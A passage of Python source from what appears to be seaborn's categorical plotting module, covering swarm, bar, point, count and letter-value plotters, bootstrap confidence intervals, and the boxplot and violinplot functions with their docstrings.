draw_swarmplot(self, ax, kws):\n \"\"\"Plot the data.\"\"\"\n s = kws.pop(\"s\")\n\n centers = []\n swarms = []\n\n palette = np.asarray(self.colors)\n\n # Set the categorical axes limits here for the swarm math\n if self.orient == \"v\":\n ax.set_xlim(-.5, len(self.plot_data) - .5)\n else:\n ax.set_ylim(-.5, len(self.plot_data) - .5)\n\n # Plot each swarm\n for i, group_data in enumerate(self.plot_data):\n\n if self.plot_hues is None or not self.dodge:\n\n width = self.width\n\n if self.hue_names is None:\n hue_mask = np.ones(group_data.size, bool)\n else:\n hue_mask = np.array([h in self.hue_names\n for h in self.plot_hues[i]], bool)\n # Broken on older numpys\n # hue_mask = np.in1d(self.plot_hues[i], self.hue_names)\n\n swarm_data = np.asarray(group_data[hue_mask])\n point_colors = np.asarray(self.point_colors[i][hue_mask])\n\n # Sort the points for the beeswarm algorithm\n sorter = np.argsort(swarm_data)\n swarm_data = swarm_data[sorter]\n point_colors = point_colors[sorter]\n\n # Plot the points in centered positions\n cat_pos = np.ones(swarm_data.size) * i\n kws.update(c=palette[point_colors])\n if self.orient == \"v\":\n points = ax.scatter(cat_pos, swarm_data, s=s, **kws)\n else:\n points = ax.scatter(swarm_data, cat_pos, s=s, **kws)\n\n centers.append(i)\n swarms.append(points)\n\n else:\n offsets = self.hue_offsets\n width = self.nested_width\n\n for j, hue_level in enumerate(self.hue_names):\n hue_mask = self.plot_hues[i] == hue_level\n swarm_data = np.asarray(group_data[hue_mask])\n point_colors = np.asarray(self.point_colors[i][hue_mask])\n\n # Sort the points for the beeswarm algorithm\n sorter = np.argsort(swarm_data)\n swarm_data = swarm_data[sorter]\n point_colors = point_colors[sorter]\n\n # Plot the points in centered positions\n center = i + offsets[j]\n cat_pos = np.ones(swarm_data.size) * center\n kws.update(c=palette[point_colors])\n if self.orient == \"v\":\n points = ax.scatter(cat_pos, swarm_data, s=s, **kws)\n else:\n points = ax.scatter(swarm_data, cat_pos, s=s, **kws)\n\n centers.append(center)\n swarms.append(points)\n\n # Autoscale the valus axis to set the data/axes transforms properly\n ax.autoscale_view(scalex=self.orient == \"h\", scaley=self.orient == \"v\")\n\n # Update the position of each point on the categorical axis\n # Do this after plotting so that the numerical axis limits are correct\n for center, swarm in zip(centers, swarms):\n if swarm.get_offsets().size:\n self.swarm_points(ax, swarm, center, width, s, **kws)\n\n def plot(self, ax, kws):\n \"\"\"Make the full plot.\"\"\"\n self.draw_swarmplot(ax, kws)\n self.add_legend_data(ax)\n self.annotate_axes(ax)\n if self.orient == \"h\":\n ax.invert_yaxis()\n\n\nclass _CategoricalStatPlotter(_CategoricalPlotter):\n\n require_numeric = True\n\n @property\n def nested_width(self):\n \"\"\"A float with the width of plot elements when hue nesting is used.\"\"\"\n if self.dodge:\n width = self.width / len(self.hue_names)\n else:\n width = self.width\n return width\n\n def estimate_statistic(self, estimator, ci, n_boot, seed):\n\n if self.hue_names is None:\n statistic = []\n confint = []\n else:\n statistic = [[] for _ in self.plot_data]\n confint = [[] for _ in self.plot_data]\n\n for i, group_data in enumerate(self.plot_data):\n\n # Option 1: we have a single layer of grouping\n # --------------------------------------------\n\n if self.plot_hues is None:\n\n if self.plot_units is None:\n stat_data = remove_na(group_data)\n unit_data = None\n else:\n unit_data = self.plot_units[i]\n have = pd.notnull(np.c_[group_data, unit_data]).all(axis=1)\n stat_data = group_data[have]\n unit_data = unit_data[have]\n\n # Estimate a statistic from the vector of data\n if not stat_data.size:\n statistic.append(np.nan)\n else:\n statistic.append(estimator(stat_data))\n\n # Get a confidence interval for this estimate\n if ci is not None:\n\n if stat_data.size < 2:\n confint.append([np.nan, np.nan])\n continue\n\n if ci == \"sd\":\n\n estimate = estimator(stat_data)\n sd = np.std(stat_data)\n confint.append((estimate - sd, estimate + sd))\n\n else:\n\n boots = bootstrap(stat_data, func=estimator,\n n_boot=n_boot,\n units=unit_data,\n seed=seed)\n confint.append(utils.ci(boots, ci))\n\n # Option 2: we are grouping by a hue layer\n # ----------------------------------------\n\n else:\n for j, hue_level in enumerate(self.hue_names):\n\n if not self.plot_hues[i].size:\n statistic[i].append(np.nan)\n if ci is not None:\n confint[i].append((np.nan, np.nan))\n continue\n\n hue_mask = self.plot_hues[i] == hue_level\n if self.plot_units is None:\n stat_data = remove_na(group_data[hue_mask])\n unit_data = None\n else:\n group_units = self.plot_units[i]\n have = pd.notnull(\n np.c_[group_data, group_units]\n ).all(axis=1)\n stat_data = group_data[hue_mask & have]\n unit_data = group_units[hue_mask & have]\n\n # Estimate a statistic from the vector of data\n if not stat_data.size:\n statistic[i].append(np.nan)\n else:\n statistic[i].append(estimator(stat_data))\n\n # Get a confidence interval for this estimate\n if ci is not None:\n\n if stat_data.size < 2:\n confint[i].append([np.nan, np.nan])\n continue\n\n if ci == \"sd\":\n\n estimate = estimator(stat_data)\n sd = np.std(stat_data)\n confint[i].append((estimate - sd, estimate + sd))\n\n else:\n\n boots = bootstrap(stat_data, func=estimator,\n n_boot=n_boot,\n units=unit_data,\n seed=seed)\n confint[i].append(utils.ci(boots, ci))\n\n # Save the resulting values for plotting\n self.statistic = np.array(statistic)\n self.confint = np.array(confint)\n\n def draw_confints(self, ax, at_group, confint, colors,\n errwidth=None, capsize=None, **kws):\n\n if errwidth is not None:\n kws.setdefault(\"lw\", errwidth)\n else:\n kws.setdefault(\"lw\", mpl.rcParams[\"lines.linewidth\"] * 1.8)\n\n for at, (ci_low, ci_high), color in zip(at_group,\n confint,\n colors):\n if self.orient == \"v\":\n ax.plot([at, at], [ci_low, ci_high], color=color, **kws)\n if capsize is not None:\n ax.plot([at - capsize / 2, at + capsize / 2],\n [ci_low, ci_low], color=color, **kws)\n ax.plot([at - capsize / 2, at + capsize / 2],\n [ci_high, ci_high], color=color, **kws)\n else:\n ax.plot([ci_low, ci_high], [at, at], color=color, **kws)\n if capsize is not None:\n ax.plot([ci_low, ci_low],\n [at - capsize / 2, at + capsize / 2],\n color=color, **kws)\n ax.plot([ci_high, ci_high],\n [at - capsize / 2, at + capsize / 2],\n color=color, **kws)\n\n\nclass _BarPlotter(_CategoricalStatPlotter):\n \"\"\"Show point estimates and confidence intervals with bars.\"\"\"\n\n def __init__(self, x, y, hue, data, order, hue_order,\n estimator, ci, n_boot, units, seed,\n orient, color, palette, saturation, errcolor,\n errwidth, capsize, dodge):\n \"\"\"Initialize the plotter.\"\"\"\n self.establish_variables(x, y, hue, data, orient,\n order, hue_order, units)\n self.establish_colors(color, palette, saturation)\n self.estimate_statistic(estimator, ci, n_boot, seed)\n\n self.dodge = dodge\n\n self.errcolor = errcolor\n self.errwidth = errwidth\n self.capsize = capsize\n\n def draw_bars(self, ax, kws):\n \"\"\"Draw the bars onto `ax`.\"\"\"\n # Get the right matplotlib function depending on the orientation\n barfunc = ax.bar if self.orient == \"v\" else ax.barh\n barpos = np.arange(len(self.statistic))\n\n if self.plot_hues is None:\n\n # Draw the bars\n barfunc(barpos, self.statistic, self.width,\n color=self.colors, align=\"center\", **kws)\n\n # Draw the confidence intervals\n errcolors = [self.errcolor] * len(barpos)\n self.draw_confints(ax,\n barpos,\n self.confint,\n errcolors,\n self.errwidth,\n self.capsize)\n\n else:\n\n for j, hue_level in enumerate(self.hue_names):\n\n # Draw the bars\n offpos = barpos + self.hue_offsets[j]\n barfunc(offpos, self.statistic[:, j], self.nested_width,\n color=self.colors[j], align=\"center\",\n label=hue_level, **kws)\n\n # Draw the confidence intervals\n if self.confint.size:\n confint = self.confint[:, j]\n errcolors = [self.errcolor] * len(offpos)\n self.draw_confints(ax,\n offpos,\n confint,\n errcolors,\n self.errwidth,\n self.capsize)\n\n def plot(self, ax, bar_kws):\n \"\"\"Make the plot.\"\"\"\n self.draw_bars(ax, bar_kws)\n self.annotate_axes(ax)\n if self.orient == \"h\":\n ax.invert_yaxis()\n\n\nclass _PointPlotter(_CategoricalStatPlotter):\n\n default_palette = \"dark\"\n\n \"\"\"Show point estimates and confidence intervals with (joined) points.\"\"\"\n def __init__(self, x, y, hue, data, order, hue_order,\n estimator, ci, n_boot, units, seed,\n markers, linestyles, dodge, join, scale,\n orient, color, palette, errwidth=None, capsize=None):\n \"\"\"Initialize the plotter.\"\"\"\n self.establish_variables(x, y, hue, data, orient,\n order, hue_order, units)\n self.establish_colors(color, palette, 1)\n self.estimate_statistic(estimator, ci, n_boot, seed)\n\n # Override the default palette for single-color plots\n if hue is None and color is None and palette is None:\n self.colors = [color_palette()[0]] * len(self.colors)\n\n # Don't join single-layer plots with different colors\n if hue is None and palette is not None:\n join = False\n\n # Use a good default for `dodge=True`\n if dodge is True and self.hue_names is not None:\n dodge = .025 * len(self.hue_names)\n\n # Make sure we have a marker for each hue level\n if isinstance(markers, str):\n markers = [markers] * len(self.colors)\n self.markers = markers\n\n # Make sure we have a line style for each hue level\n if isinstance(linestyles, str):\n linestyles = [linestyles] * len(self.colors)\n self.linestyles = linestyles\n\n # Set the other plot components\n self.dodge = dodge\n self.join = join\n self.scale = scale\n self.errwidth = errwidth\n self.capsize = capsize\n\n @property\n def hue_offsets(self):\n \"\"\"Offsets relative to the center position for each hue level.\"\"\"\n if self.dodge:\n offset = np.linspace(0, self.dodge, len(self.hue_names))\n offset -= offset.mean()\n else:\n offset = np.zeros(len(self.hue_names))\n return offset\n\n def draw_points(self, ax):\n \"\"\"Draw the main data components of the plot.\"\"\"\n # Get the center positions on the categorical axis\n pointpos = np.arange(len(self.statistic))\n\n # Get the size of the plot elements\n lw = mpl.rcParams[\"lines.linewidth\"] * 1.8 * self.scale\n mew = lw * .75\n markersize = np.pi * np.square(lw) * 2\n\n if self.plot_hues is None:\n\n # Draw lines joining each estimate point\n if self.join:\n color = self.colors[0]\n ls = self.linestyles[0]\n if self.orient == \"h\":\n ax.plot(self.statistic, pointpos,\n color=color, ls=ls, lw=lw)\n else:\n ax.plot(pointpos, self.statistic,\n color=color, ls=ls, lw=lw)\n\n # Draw the confidence intervals\n self.draw_confints(ax, pointpos, self.confint, self.colors,\n self.errwidth, self.capsize)\n\n # Draw the estimate points\n marker = self.markers[0]\n colors = [mpl.colors.colorConverter.to_rgb(c) for c in self.colors]\n if self.orient == \"h\":\n x, y = self.statistic, pointpos\n else:\n x, y = pointpos, self.statistic\n ax.scatter(x, y,\n linewidth=mew, marker=marker, s=markersize,\n facecolor=colors, edgecolor=colors)\n\n else:\n\n offsets = self.hue_offsets\n for j, hue_level in enumerate(self.hue_names):\n\n # Determine the values to plot for this level\n statistic = self.statistic[:, j]\n\n # Determine the position on the categorical and z axes\n offpos = pointpos + offsets[j]\n z = j + 1\n\n # Draw lines joining each estimate point\n if self.join:\n color = self.colors[j]\n ls = self.linestyles[j]\n if self.orient == \"h\":\n ax.plot(statistic, offpos, color=color,\n zorder=z, ls=ls, lw=lw)\n else:\n ax.plot(offpos, statistic, color=color,\n zorder=z, ls=ls, lw=lw)\n\n # Draw the confidence intervals\n if self.confint.size:\n confint = self.confint[:, j]\n errcolors = [self.colors[j]] * len(offpos)\n self.draw_confints(ax, offpos, confint, errcolors,\n self.errwidth, self.capsize,\n zorder=z)\n\n # Draw the estimate points\n n_points = len(remove_na(offpos))\n marker = self.markers[j]\n color = mpl.colors.colorConverter.to_rgb(self.colors[j])\n\n if self.orient == \"h\":\n x, y = statistic, offpos\n else:\n x, y = offpos, statistic\n\n if not len(remove_na(statistic)):\n x = y = [np.nan] * n_points\n\n ax.scatter(x, y, label=hue_level,\n facecolor=color, edgecolor=color,\n linewidth=mew, marker=marker, s=markersize,\n zorder=z)\n\n def plot(self, ax):\n \"\"\"Make the plot.\"\"\"\n self.draw_points(ax)\n self.annotate_axes(ax)\n if self.orient == \"h\":\n ax.invert_yaxis()\n\n\nclass _CountPlotter(_BarPlotter):\n require_numeric = False\n\n\nclass _LVPlotter(_CategoricalPlotter):\n\n def __init__(self, x, y, hue, data, order, hue_order,\n orient, color, palette, saturation,\n width, dodge, k_depth, linewidth, scale, outlier_prop,\n trust_alpha, showfliers=True):\n\n self.width = width\n self.dodge = dodge\n self.saturation = saturation\n\n k_depth_methods = ['proportion', 'tukey', 'trustworthy', 'full']\n if not (k_depth in k_depth_methods or isinstance(k_depth, Number)):\n msg = (f'k_depth must be one of {k_depth_methods} or a number, '\n f'but {k_depth} was passed.')\n raise ValueError(msg)\n self.k_depth = k_depth\n\n # TODO seems this member is only used to frame the legend artists\n if linewidth is None:\n linewidth = mpl.rcParams[\"lines.linewidth\"]\n self.linewidth = linewidth\n\n scales = ['linear', 'exponential', 'area']\n if scale not in scales:\n msg = f'scale must be one of {scales}, but {scale} was passed.'\n raise ValueError(msg)\n self.scale = scale\n\n if ((outlier_prop > 1) or (outlier_prop <= 0)):\n msg = f'outlier_prop {outlier_prop} not in range (0, 1]'\n raise ValueError(msg)\n self.outlier_prop = outlier_prop\n\n if not 0 < trust_alpha < 1:\n msg = f'trust_alpha {trust_alpha} not in range (0, 1)'\n raise ValueError(msg)\n self.trust_alpha = trust_alpha\n\n self.showfliers = showfliers\n\n self.establish_variables(x, y, hue, data, orient, order, hue_order)\n self.establish_colors(color, palette, saturation)\n\n def _lv_box_ends(self, vals):\n \"\"\"Get the number of data points and calculate `depth` of\n letter-value plot.\"\"\"\n vals = np.asarray(vals)\n vals = vals[np.isfinite(vals)]\n n = len(vals)\n p = self.outlier_prop\n\n # Select the depth, i.e. number of boxes to draw, based on the method\n if self.k_depth == 'full':\n # extend boxes to 100% of the data\n k = int(np.log2(n)) + 1\n elif self.k_depth == 'tukey':\n # This results with 5-8 points in each tail\n k = int(np.log2(n)) - 3\n elif self.k_depth == 'proportion':\n k = int(np.log2(n)) - int(np.log2(n * p)) + 1\n elif self.k_depth == 'trustworthy':\n point_conf = 2 * stats.norm.ppf((1 - self.trust_alpha / 2)) ** 2\n k = int(np.log2(n / point_conf)) + 1\n else:\n k = int(self.k_depth) # allow having k as input\n # If the number happens to be less than 1, set k to 1\n if k < 1:\n k = 1\n\n # Calculate the upper end for each of the k boxes\n upper = [100 * (1 - 0.5 ** (i + 1)) for i in range(k, 0, -1)]\n # Calculate the lower end for each of the k boxes\n lower = [100 * (0.5 ** (i + 1)) for i in range(k, 0, -1)]\n # Stitch the box ends together\n percentile_ends = [(i, j) for i, j in zip(lower, upper)]\n box_ends = [np.percentile(vals, q) for q in percentile_ends]\n return box_ends, k\n\n def _lv_outliers(self, vals, k):\n \"\"\"Find the outliers based on the letter value depth.\"\"\"\n box_edge = 0.5 ** (k + 1)\n perc_ends = (100 * box_edge, 100 * (1 - box_edge))\n edges = np.percentile(vals, perc_ends)\n lower_out = vals[np.where(vals < edges[0])[0]]\n upper_out = vals[np.where(vals > edges[1])[0]]\n return np.concatenate((lower_out, upper_out))\n\n def _width_functions(self, width_func):\n # Dictionary of functions for computing the width of the boxes\n width_functions = {'linear': lambda h, i, k: (i + 1.) / k,\n 'exponential': lambda h, i, k: 2**(-k + i - 1),\n 'area': lambda h, i, k: (1 - 2**(-k + i - 2)) / h}\n return width_functions[width_func]\n\n def _lvplot(self, box_data, positions,\n color=[255. / 256., 185. / 256., 0.],\n widths=1, ax=None, **kws):\n\n vert = self.orient == \"v\"\n x = positions[0]\n box_data = np.asarray(box_data)\n\n # If we only have one data point, plot a line\n if len(box_data) == 1:\n kws.update({'color': self.gray, 'linestyle': '-'})\n ys = [box_data[0], box_data[0]]\n xs = [x - widths / 2, x + widths / 2]\n if vert:\n xx, yy = xs, ys\n else:\n xx, yy = ys, xs\n ax.plot(xx, yy, **kws)\n else:\n # Get the number of data points and calculate \"depth\" of\n # letter-value plot\n box_ends, k = self._lv_box_ends(box_data)\n\n # Anonymous functions for calculating the width and height\n # of the letter value boxes\n width = self._width_functions(self.scale)\n\n # Function to find height of boxes\n def height(b):\n return b[1] - b[0]\n\n # Functions to construct the letter value boxes\n def vert_perc_box(x, b, i, k, w):\n rect = Patches.Rectangle((x - widths * w / 2, b[0]),\n widths * w,\n height(b), fill=True)\n return rect\n\n def horz_perc_box(x, b, i, k, w):\n rect = Patches.Rectangle((b[0], x - widths * w / 2),\n height(b), widths * w,\n fill=True)\n return rect\n\n # Scale the width of the boxes so the biggest starts at 1\n w_area = np.array([width(height(b), i, k)\n for i, b in enumerate(box_ends)])\n w_area = w_area / np.max(w_area)\n\n # Calculate the medians\n y = np.median(box_data)\n\n # Calculate the outliers and plot (only if showfliers == True)\n outliers = []\n if self.showfliers:\n outliers = self._lv_outliers(box_data, k)\n hex_color = mpl.colors.rgb2hex(color)\n\n if vert:\n box_func = vert_perc_box\n xs_median = [x - widths / 2, x + widths / 2]\n ys_median = [y, y]\n xs_outliers = np.full(len(outliers), x)\n ys_outliers = outliers\n\n else:\n box_func = horz_perc_box\n xs_median = [y, y]\n ys_median = [x - widths / 2, x + widths / 2]\n xs_outliers = outliers\n ys_outliers = np.full(len(outliers), x)\n\n boxes = [box_func(x, b[0], i, k, b[1])\n for i, b in enumerate(zip(box_ends, w_area))]\n\n # Plot the medians\n ax.plot(xs_median, ys_median, c='.15', alpha=.45,\n solid_capstyle=\"butt\", **kws)\n\n # Plot outliers (if any)\n if len(outliers) > 0:\n ax.scatter(xs_outliers, ys_outliers, marker='d',\n c=self.gray, **kws)\n\n # Construct a color map from the input color\n rgb = [hex_color, (1, 1, 1)]\n cmap = mpl.colors.LinearSegmentedColormap.from_list('new_map', rgb)\n # Make sure that the last boxes contain hue and are not pure white\n rgb = [hex_color, cmap(.85)]\n cmap = mpl.colors.LinearSegmentedColormap.from_list('new_map', rgb)\n collection = PatchCollection(boxes, cmap=cmap, edgecolor=self.gray)\n\n # Set the color gradation, first box will have color=hex_color\n collection.set_array(np.array(np.linspace(1, 0, len(boxes))))\n\n # Plot the boxes\n ax.add_collection(collection)\n\n def draw_letter_value_plot(self, ax, kws):\n \"\"\"Use matplotlib to draw a letter value plot on an Axes.\"\"\"\n for i, group_data in enumerate(self.plot_data):\n\n if self.plot_hues is None:\n\n # Handle case where there is data at this level\n if group_data.size == 0:\n continue\n\n # Draw a single box or a set of boxes\n # with a single level of grouping\n box_data = remove_na(group_data)\n\n # Handle case where there is no non-null data\n if box_data.size == 0:\n continue\n\n color = self.colors[i]\n\n self._lvplot(box_data,\n positions=[i],\n color=color,\n widths=self.width,\n ax=ax,\n **kws)\n\n else:\n # Draw nested groups of boxes\n offsets = self.hue_offsets\n for j, hue_level in enumerate(self.hue_names):\n\n # Add a legend for this hue level\n if not i:\n self.add_legend_data(ax, self.colors[j], hue_level)\n\n # Handle case where there is data at this level\n if group_data.size == 0:\n continue\n\n hue_mask = self.plot_hues[i] == hue_level\n box_data = remove_na(group_data[hue_mask])\n\n # Handle case where there is no non-null data\n if box_data.size == 0:\n continue\n\n color = self.colors[j]\n center = i + offsets[j]\n self._lvplot(box_data,\n positions=[center],\n color=color,\n widths=self.nested_width,\n ax=ax,\n **kws)\n\n # Autoscale the values axis to make sure all patches are visible\n ax.autoscale_view(scalex=self.orient == \"h\", scaley=self.orient == \"v\")\n\n def plot(self, ax, boxplot_kws):\n \"\"\"Make the plot.\"\"\"\n self.draw_letter_value_plot(ax, boxplot_kws)\n self.annotate_axes(ax)\n if self.orient == \"h\":\n ax.invert_yaxis()\n\n\n_categorical_docs = dict(\n\n # Shared narrative docs\n categorical_narrative=dedent(\"\"\"\\\n This function always treats one of the variables as categorical and\n draws data at ordinal positions (0, 1, ... n) on the relevant axis, even\n when the data has a numeric or date type.\n\n See the :ref:`tutorial ` for more information.\\\n \"\"\"),\n main_api_narrative=dedent(\"\"\"\\\n\n Input data can be passed in a variety of formats, including:\n\n - Vectors of data represented as lists, numpy arrays, or pandas Series\n objects passed directly to the ``x``, ``y``, and/or ``hue`` parameters.\n - A \"long-form\" DataFrame, in which case the ``x``, ``y``, and ``hue``\n variables will determine how the data are plotted.\n - A \"wide-form\" DataFrame, such that each numeric column will be plotted.\n - An array or list of vectors.\n\n In most cases, it is possible to use numpy or Python objects, but pandas\n objects are preferable because the associated names will be used to\n annotate the axes. Additionally, you can use Categorical types for the\n grouping variables to control the order of plot elements.\\\n \"\"\"),\n\n # Shared function parameters\n input_params=dedent(\"\"\"\\\n x, y, hue : names of variables in ``data`` or vector data, optional\n Inputs for plotting long-form data. See examples for interpretation.\\\n \"\"\"),\n string_input_params=dedent(\"\"\"\\\n x, y, hue : names of variables in ``data``\n Inputs for plotting long-form data. See examples for interpretation.\\\n \"\"\"),\n categorical_data=dedent(\"\"\"\\\n data : DataFrame, array, or list of arrays, optional\n Dataset for plotting. If ``x`` and ``y`` are absent, this is\n interpreted as wide-form. Otherwise it is expected to be long-form.\\\n \"\"\"),\n long_form_data=dedent(\"\"\"\\\n data : DataFrame\n Long-form (tidy) dataset for plotting. Each column should correspond\n to a variable, and each row should correspond to an observation.\\\n \"\"\"),\n order_vars=dedent(\"\"\"\\\n order, hue_order : lists of strings, optional\n Order to plot the categorical levels in, otherwise the levels are\n inferred from the data objects.\\\n \"\"\"),\n stat_api_params=dedent(\"\"\"\\\n estimator : callable that maps vector -> scalar, optional\n Statistical function to estimate within each categorical bin.\n ci : float or \"sd\" or None, optional\n Size of confidence intervals to draw around estimated values. If\n \"sd\", skip bootstrapping and draw the standard deviation of the\n observations. If ``None``, no bootstrapping will be performed, and\n error bars will not be drawn.\n n_boot : int, optional\n Number of bootstrap iterations to use when computing confidence\n intervals.\n units : name of variable in ``data`` or vector data, optional\n Identifier of sampling units, which will be used to perform a\n multilevel bootstrap and account for repeated measures design.\n seed : int, numpy.random.Generator, or numpy.random.RandomState, optional\n Seed or random number generator for reproducible bootstrapping.\\\n \"\"\"),\n orient=dedent(\"\"\"\\\n orient : \"v\" | \"h\", optional\n Orientation of the plot (vertical or horizontal). This is usually\n inferred based on the type of the input variables, but it can be used\n to resolve ambiguitiy when both `x` and `y` are numeric or when\n plotting wide-form data.\\\n \"\"\"),\n color=dedent(\"\"\"\\\n color : matplotlib color, optional\n Color for all of the elements, or seed for a gradient palette.\\\n \"\"\"),\n palette=dedent(\"\"\"\\\n palette : palette name, list, or dict, optional\n Color palette that maps either the grouping variable or the hue\n variable. If the palette is a dictionary, keys should be names of\n levels and values should be matplotlib colors.\\\n \"\"\"),\n saturation=dedent(\"\"\"\\\n saturation : float, optional\n Proportion of the original saturation to draw colors at. Large patches\n often look better with slightly desaturated colors, but set this to\n ``1`` if you want the plot colors to perfectly match the input color\n spec.\\\n \"\"\"),\n capsize=dedent(\"\"\"\\\n capsize : float, optional\n Width of the \"caps\" on error bars.\n \"\"\"),\n errwidth=dedent(\"\"\"\\\n errwidth : float, optional\n Thickness of error bar lines (and caps).\\\n \"\"\"),\n width=dedent(\"\"\"\\\n width : float, optional\n Width of a full element when not using hue nesting, or width of all the\n elements for one level of the major grouping variable.\\\n \"\"\"),\n dodge=dedent(\"\"\"\\\n dodge : bool, optional\n When hue nesting is used, whether elements should be shifted along the\n categorical axis.\\\n \"\"\"),\n linewidth=dedent(\"\"\"\\\n linewidth : float, optional\n Width of the gray lines that frame the plot elements.\\\n \"\"\"),\n ax_in=dedent(\"\"\"\\\n ax : matplotlib Axes, optional\n Axes object to draw the plot onto, otherwise uses the current Axes.\\\n \"\"\"),\n ax_out=dedent(\"\"\"\\\n ax : matplotlib Axes\n Returns the Axes object with the plot drawn onto it.\\\n \"\"\"),\n\n # Shared see also\n boxplot=dedent(\"\"\"\\\n boxplot : A traditional box-and-whisker plot with a similar API.\\\n \"\"\"),\n violinplot=dedent(\"\"\"\\\n violinplot : A combination of boxplot and kernel density estimation.\\\n \"\"\"),\n stripplot=dedent(\"\"\"\\\n stripplot : A scatterplot where one variable is categorical. Can be used\n in conjunction with other plots to show each observation.\\\n \"\"\"),\n swarmplot=dedent(\"\"\"\\\n swarmplot : A categorical scatterplot where the points do not overlap. Can\n be used with other plots to show each observation.\\\n \"\"\"),\n barplot=dedent(\"\"\"\\\n barplot : Show point estimates and confidence intervals using bars.\\\n \"\"\"),\n countplot=dedent(\"\"\"\\\n countplot : Show the counts of observations in each categorical bin.\\\n \"\"\"),\n pointplot=dedent(\"\"\"\\\n pointplot : Show point estimates and confidence intervals using scatterplot\n glyphs.\\\n \"\"\"),\n catplot=dedent(\"\"\"\\\n catplot : Combine a categorical plot with a :class:`FacetGrid`.\\\n \"\"\"),\n boxenplot=dedent(\"\"\"\\\n boxenplot : An enhanced boxplot for larger datasets.\\\n \"\"\"),\n\n)\n\n_categorical_docs.update(_facet_docs)\n\n\n@_deprecate_positional_args\ndef boxplot(\n *,\n x=None, y=None,\n hue=None, data=None,\n order=None, hue_order=None,\n orient=None, color=None, palette=None, saturation=.75,\n width=.8, dodge=True, fliersize=5, linewidth=None,\n whis=1.5, ax=None,\n **kwargs\n):\n\n plotter = _BoxPlotter(x, y, hue, data, order, hue_order,\n orient, color, palette, saturation,\n width, dodge, fliersize, linewidth)\n\n if ax is None:\n ax = plt.gca()\n kwargs.update(dict(whis=whis))\n\n plotter.plot(ax, kwargs)\n return ax\n\n\nboxplot.__doc__ = dedent(\"\"\"\\\n Draw a box plot to show distributions with respect to categories.\n\n A box plot (or box-and-whisker plot) shows the distribution of quantitative\n data in a way that facilitates comparisons between variables or across\n levels of a categorical variable. The box shows the quartiles of the\n dataset while the whiskers extend to show the rest of the distribution,\n except for points that are determined to be \"outliers\" using a method\n that is a function of the inter-quartile range.\n\n {main_api_narrative}\n\n {categorical_narrative}\n\n Parameters\n ----------\n {input_params}\n {categorical_data}\n {order_vars}\n {orient}\n {color}\n {palette}\n {saturation}\n {width}\n {dodge}\n fliersize : float, optional\n Size of the markers used to indicate outlier observations.\n {linewidth}\n whis : float, optional\n Proportion of the IQR past the low and high quartiles to extend the\n plot whiskers. Points outside this range will be identified as\n outliers.\n {ax_in}\n kwargs : key, value mappings\n Other keyword arguments are passed through to\n :meth:`matplotlib.axes.Axes.boxplot`.\n\n Returns\n -------\n {ax_out}\n\n See Also\n --------\n {violinplot}\n {stripplot}\n {swarmplot}\n {catplot}\n\n Examples\n --------\n\n Draw a single horizontal boxplot:\n\n .. plot::\n :context: close-figs\n\n >>> import seaborn as sns\n >>> sns.set_theme(style=\"whitegrid\")\n >>> tips = sns.load_dataset(\"tips\")\n >>> ax = sns.boxplot(x=tips[\"total_bill\"])\n\n Draw a vertical boxplot grouped by a categorical variable:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.boxplot(x=\"day\", y=\"total_bill\", data=tips)\n\n Draw a boxplot with nested grouping by two categorical variables:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.boxplot(x=\"day\", y=\"total_bill\", hue=\"smoker\",\n ... data=tips, palette=\"Set3\")\n\n Draw a boxplot with nested grouping when some bins are empty:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.boxplot(x=\"day\", y=\"total_bill\", hue=\"time\",\n ... data=tips, linewidth=2.5)\n\n Control box order by passing an explicit order:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.boxplot(x=\"time\", y=\"tip\", data=tips,\n ... order=[\"Dinner\", \"Lunch\"])\n\n Draw a boxplot for each numeric variable in a DataFrame:\n\n .. plot::\n :context: close-figs\n\n >>> iris = sns.load_dataset(\"iris\")\n >>> ax = sns.boxplot(data=iris, orient=\"h\", palette=\"Set2\")\n\n Use ``hue`` without changing box position or width:\n\n .. plot::\n :context: close-figs\n\n >>> tips[\"weekend\"] = tips[\"day\"].isin([\"Sat\", \"Sun\"])\n >>> ax = sns.boxplot(x=\"day\", y=\"total_bill\", hue=\"weekend\",\n ... data=tips, dodge=False)\n\n Use :func:`swarmplot` to show the datapoints on top of the boxes:\n\n .. plot::\n :context: close-figs\n\n >>> ax = sns.boxplot(x=\"day\", y=\"total_bill\", data=tips)\n >>> ax = sns.swarmplot(x=\"day\", y=\"total_bill\", data=tips, color=\".25\")\n\n Use :func:`catplot` to combine a :func:`boxplot` and a\n :class:`FacetGrid`. This allows grouping within additional categorical\n variables. Using :func:`catplot` is safer than using :class:`FacetGrid`\n directly, as it ensures synchronization of variable order across facets:\n\n .. plot::\n :context: close-figs\n\n >>> g = sns.catplot(x=\"sex\", y=\"total_bill\",\n ... hue=\"smoker\", col=\"time\",\n ... data=tips, kind=\"box\",\n ... height=4, aspect=.7);\n\n \"\"\").format(**_categorical_docs)\n\n\n@_deprecate_positional_args\ndef violinplot(\n *,\n x=None, y=None,\n hue=None, data=None,\n order=None, hue_order=None,\n bw=\"scott\", cut=2, scale=\"area\", scale_hue=True, gridsize=100,\n width=.8, inner=\"box\", split=False, dodge=True, orient=None,\n linewidth=None, color=None, palette=None, saturation=.75,\n ax=None, **kwargs,\n):\n\n plotter = _ViolinPlotter(x, y, hue, data, order, hue_order,\n bw, cut, scale, scale_hue, gridsize,\n width, inner, split, dodge, orient, linewidth,\n color, palette, saturation)\n\n if ax is None:\n ax = plt.gca()\n\n plotter.plot(ax)\n return ax\n\n\nviolinplot.__doc__ = dedent(\"\"\"\\\n Draw a combination of boxplot and kernel density estimate.\n\n A violin plot plays a similar role as a box and whisker plot. It shows the\n distribution of quantitative data across several levels of one (or more)\n categorical variables such that those distributions can be compared. Unlike\n a box plot, in which all of the plot components correspond to actual\n datapoints, the violin plot features a kernel density estimation of the\n underlying distribution.\n\n This can be an effective and attractive way to show multiple distributions\n of data at once, but keep in mind that the estimation procedure is\n influenced by the sample size, and violins for relatively small samples\n might look misleadingly smooth.\n\n {main_api_narrative}\n\n {categorical_narrative}\n\n Parameters\n ----------\n {input_params}\n {categorical_data}\n {order_vars}\n bw : {{'scott', 'silverman', float}}, optional\n Either the name of a reference rule or the scale factor to use when\n computing the kernel bandwidth. The actual kernel size will be\n determined by multiplying the scale factor by the standard deviation of\n the data within each bin.\n cut : float, optional\n Distance, in units of bandwidth size, to extend the density past the\n extreme datapoints. Set to 0 to limit 